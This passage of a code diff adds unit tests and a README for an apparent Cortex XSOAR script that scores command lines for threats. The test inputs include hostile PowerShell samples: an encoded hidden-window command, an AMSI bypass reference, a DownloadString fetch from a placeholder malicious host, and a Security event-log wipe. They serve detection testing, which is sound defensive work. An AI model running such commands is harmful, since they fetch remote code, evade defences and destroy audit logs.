check_suspicious_content +def test_check_suspicious_content(): + command = "powershell -enc Y2FsYy5leGU= -WindowStyle Hidden" + matches = check_suspicious_content(command) + assert "-enc" in matches + assert "-WindowStyle Hidden" in matches + + +# Test check_amsi +def test_check_amsi(): + command = "System.Management.Automation.AmsiUtils" + matches = check_amsi(command) + assert "System.Management.Automation.AmsiUtils" in matches + + +# Test check_mixed_case_powershell +def test_check_mixed_case_powershell(): + command = "PoWeRShElL -NoProfile" + matches = check_mixed_case_powershell(command) + assert "PoWeRShElL" in matches + + +# Test check_powershell_suspicious_patterns +def test_check_powershell_suspicious_patterns(): + command = "powershell -Command (New-Object Net.WebClient).DownloadString('http://malicious')" + matches = check_powershell_suspicious_patterns(command) + assert "DownloadString" in matches + + +# Test analyze_command_line +def test_analyze_command_line(): + result = analyze_command_line(MALICIOUS_COMMAND_LINE) + assert result["risk"] == "Medium Risk" + assert "11.101.124.22" in result["analysis"]["original"]["base64_encoding"] + assert "11.101.124.22" in result["decoded_command"] + assert "wevtutil cl Security" in result["original_command"] diff --git a/Packs/CommonScripts/Scripts/CommandLineAnalysis/README.md b/Packs/CommonScripts/Scripts/CommandLineAnalysis/README.md new file mode 100644 index 000000000000..dc8f8570e264 --- /dev/null +++ b/Packs/CommonScripts/Scripts/CommandLineAnalysis/README.md @@ -0,0 +1,67 @@ +This script evaluates command-line threats by analyzing both original and decoded inputs. It assigns weighted scores to detected patterns, such as AMSI bypass or credential dumping, and applies risk combination bonuses for multiple detections. The total score is normalized to a 0-100 scale, with risk levels categorized as follows: + +* 0-25: Low Risk +* 26-50: Medium Risk +* 51-90: High Risk +* 91-100: Critical Risk + +The scoring mechanism provides a comprehensive risk assessment, considering both the severity and frequency of malicious behaviors. + +## Script Data + +--- + +| **Name** | **Description** | +| --- | --- | +| Script Type | python3 | +| Cortex XSOAR Version | 6.10.0 | + +## Inputs + +--- + +| **Argument Name** | **Description** | +| --- | --- | +| command_line | The command line input to analyze. | +| custom_patterns | A list of custom regex patterns to search for within the command line. Each pattern should be a valid regular expression string. | + +## Outputs + +--- + +| **Path** | **Description** | **Type** | +| --- | --- | --- | +| CommandLineAnalysis.original_command | The original command line string analyzed for potential risks. | Unknown | +| CommandLineAnalysis.decoded_command | The decoded Base64 command line string, if decoding was performed. | Unknown | +| CommandLineAnalysis.risk | The overall risk level derived from the command line analysis, classified as Low, Medium, High, or Critical. | Unknown | +| CommandLineAnalysis.score | The normalized score \(0-100\) representing the risk associated with the analyzed command line. | Unknown | +| CommandLineAnalysis | A detailed summary of the analysis results, including findings and scores. | Unknown | +| CommandLineAnalysis.findings.original | Findings from the analysis of the original command line, highlighting the detected patterns. | Unknown | +| CommandLineAnalysis.findings.decoded | Findings from the analysis of the decoded Base64 command line, if decoding was applicable. | Unknown | +| CommandLineAnalysis.analysis.original.malicious_commands | Checks for malicious commands in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.windows_temp_path | Checks if the original command line accesses Windows temporary paths. | Unknown | +| CommandLineAnalysis.analysis.original.suspicious_parameters | Identifies suspicious parameters or content in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.mixed_case_powershell | Detects mixed case PowerShell commands in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.powershell_suspicious_patterns | Searches for suspicious PowerShell patterns in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.credential_dumping | Checks for credential dumping techniques in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.custom_patterns | Matches custom patterns \(if provided\) in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.reconnaissance | Checks for reconnaissance activities in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.lateral_movement | Identifies lateral movement techniques in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.data_exfiltration | Detects data exfiltration activities in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.amsi_techniques | Checks for AMSI bypass techniques in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.indicators | Extracts indicators of compromise \(IOCs\) from the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.base64_encoding | Decoded content from Base64 encoding in the original command line. | Unknown | +| CommandLineAnalysis.analysis.original.reversed_command | Indicates if the original command line was reversed. | Unknown | +| CommandLineAnalysis.analysis.decoded.malicious_commands | Checks for malicious commands in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.windows_temp_path | Checks if the decoded Base64 command line accesses Windows temporary paths. | Unknown | +| CommandLineAnalysis.analysis.decoded.suspicious_parameters | Identifies suspicious parameters or content in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.mixed_case_powershell | Detects mixed case PowerShell commands in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.powershell_suspicious_patterns | Searches for suspicious PowerShell patterns in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.credential_dumping | Checks for credential dumping techniques in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.custom_patterns | Matches custom patterns \(if provided\) in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.reconnaissance | Checks for reconnaissance activities in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.lateral_movement | Identifies lateral movement techniques in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.data_exfiltration | Detects data exfiltration activities in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.amsi_techniques | Checks for AMSI bypass techniques in the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.analysis.decoded.indicators | Extracts indicators of compromise \(IOCs\) from the decoded Base64 command line. | Unknown | +| CommandLineAnalysis.Double Encoding Detected | Identifies nested Base64 strings. | Unknown | diff --git a/Packs/CommonScripts/pack_metadata.json b/Packs/CommonScripts/pack_metadata.json index fca70f204e23..9c180ecc5490 100644 --- a/Packs/CommonScripts/pack_metadata.json +++ b/Packs/CommonScripts/pack_metadata.json @@ -2,7 +2,7 @@ "name": "Common Scripts", "description": "Frequently used scripts pack.", "support": "xsoar", - "currentVersion": "1.18.4", + "currentVersion": "1.18.5", "author": "Cortex XSOAR", "url": "https://www.paloaltonetworks.com/cortex", "email": "",